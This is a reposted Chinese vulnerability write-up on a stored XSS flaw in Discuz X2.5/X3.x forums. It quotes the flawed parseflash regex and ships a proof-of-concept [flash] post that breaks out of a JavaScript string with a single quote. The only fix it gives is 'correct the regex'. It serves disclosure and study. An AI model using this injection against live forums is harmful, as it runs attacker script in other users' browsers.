文章出處
影響官方最新x2.5,x3.x,聽說漏洞收藏太久會發霉。
需要開啟多媒體代碼功能(這個目前很多大站開啟了)
source\function\function_discuzcode.php
if(strpos($msglower, '[/flash]') !== FALSE) {$message = preg_replace("/\[flash(=(\d+),(\d+))?\]\s*([^\[\<\r\n]+?)\s*\[\/flash\]/ies", $allowmediacode ? "parseflash('\\2', '\\3', '\\4');" : "bbcodeurl('\\4', '{url}')", $message);}
跟蹤
parseflash
function parseflash($w, $h, $url) {$w = !$w ? 550 : $w;$h = !$h ? 400 : $h;preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);$url = $matches[0];$randomid = 'swf_'.random(3);if(fileext($url) != 'flv') {return '<script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', encodeURI(\''.$url.'\'), \'quality\', \'high\', \'bgcolor\', \'#ffffff\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';} else {return '<script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', \''.STATICURL.'image/common/flvplayer.swf\', \'flashvars\', \'file='.rawurlencode($url).'\', \'quality\', \'high\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';}}
可以看出
preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);
正則處理不當
(\?.+)
從而可以帶進“'”
到 encodeURI(\''.$url.'\'),從而造成存儲型xss
內容中提交
[flash]http://localhost/flash.swf?'+alert(0)+'[/flash]
下面是 x25的
大站實例
解決方案:
修正正則.
就愛閱讀www.92to.com網友整理上傳,為您提供最全的知識大全,期待您的分享,轉載請注明出處。
歡迎轉載:http://www.kanwencang.com/bangong/20161116/56131.html
文章列表
全站熱搜